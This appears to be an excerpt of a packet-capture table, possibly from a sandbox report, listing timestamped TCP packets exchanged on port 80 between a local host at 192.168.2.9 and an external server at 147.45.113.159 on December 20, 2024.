Dec 20, 2024 17:13:38.510871887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.510883093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.510905027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.511651993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.511692047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.511853933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.512368917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.512406111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.513022900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.513180017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.513190985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.513211966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.513930082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.513967037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.514858961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.544742107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.544786930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.544863939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.545160055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.545171976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.545196056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.545933962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.545974970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.546238899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.546426058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.546458960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.606729031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.606870890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.606882095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.606949091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.606959105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.606990099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.607758045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.607847929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.607882023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.608442068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.608584881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.608623028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.608997107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.609090090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.609122038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.609777927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.609894991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.609930038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.610600948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.611299992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.611339092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.611430883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.611442089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.611479044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.612140894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.612272978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.612313986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.612973928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.612986088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.613023996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.613668919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.613852978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.613890886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.614660025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.614671946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.614706993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.615420103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.616197109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.616208076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.616255999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.616261959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.616298914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.616924047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.616935015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.616980076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.617697001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.617707968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.617749929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.618472099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.618484020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.618519068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.619266987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.619347095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.619385004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.619961023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.620091915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.620131969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.620735884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.621088028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.621128082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.621563911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.621814966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.621853113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.624785900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.624798059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.624815941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.624826908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.624836922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.624840021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.624862909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.624870062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.624919891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.625036001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.625046968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.625077963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.625821114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.625833035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.625869036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.626699924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.627332926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.627374887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.627501965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.627512932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.627542973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.627963066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.628015995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.628050089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.629317045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.629328966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.629374027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.629455090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.629625082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.629663944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.691417933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.691807032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.691818953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.691878080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.691931009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.691965103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.692466974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.692620993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.692651987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.693218946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.693517923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.693550110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.693600893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.694268942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.694300890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.694538116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.695080042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.695091009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.695111036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.695858955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.695888996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.696058989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.696659088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.696696043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.696754932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.697405100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.697437048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.697670937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.698268890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.698301077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.699018002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.699029922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.699059010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.699126005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.699847937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.699882984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.700123072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.700611115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.700659990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.700690031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.701422930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.701469898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.701713085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.702111006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.702152014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.702908993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.702919960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.702963114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.703022957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.703665018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.703702927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.703840971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.704504967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.704547882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.704575062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.705248117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.705288887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.705673933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.706048012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.706088066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.706238985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.736917019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.736927986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.737041950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.737133026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.737170935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.737344027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.737884045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.737932920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.737957954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.738754988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.738766909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.738809109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.781243086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.799002886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.799051046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.799089909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.799132109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.799210072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.799823046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.799971104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.800024986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.800595045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.800704002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.800750971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.801148891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.801678896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.801739931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.801985025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.802714109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.802750111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.802771091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.802843094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.802890062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.803498983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.803534031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.803576946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.804245949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.804532051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.804574966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.805510044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.805545092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.805586100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.805891037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.806291103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.806335926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.806576967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.807387114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.807423115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.807429075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.807457924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.807497025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.808279037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.808312893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.808352947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.809190989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.809225082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.809267998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.809813023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.809901953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.809946060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.810535908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.810739040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.810786963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.811295033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.811908007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.811961889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.812110901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.812146902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.812187910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.812906981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.812962055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.813013077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.813646078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.813744068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.813791037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.814412117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.814707994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.814759016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.815232992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.815530062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.815583944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.816097975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.816252947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.816306114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.816770077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.817193031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.817250967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.817574024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.817709923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.817785978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.818351030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.818486929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.818536997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.819181919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.819331884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.819420099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.819926023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.820569038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.820635080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.820790052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.821338892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.821393013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.821531057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.821830034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.821886063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.883490086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.883537054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.883555889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.883654118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.883680105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.883723021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.884394884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.884602070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.884649038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.885097980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.885327101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.885371923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.885643959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.885782003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.885826111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.886464119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.886610031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.886650085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.887242079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.887649059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.887691975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.888027906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.888854027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.888891935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.888904095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.888931990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.888974905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.889589071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.889646053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.889689922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.890420914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.890784025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.890836954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.891225100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.891262054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.891304016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.891956091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.892107010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.892153025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.892733097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.892770052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.892807007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.893486977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.893686056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.893728971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.894293070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.894428968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.894473076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.895090103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.895215988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.895262003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.895858049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.896097898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.896166086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.896620989 CET	80	49711	147.45.113.159	192.168.2.9
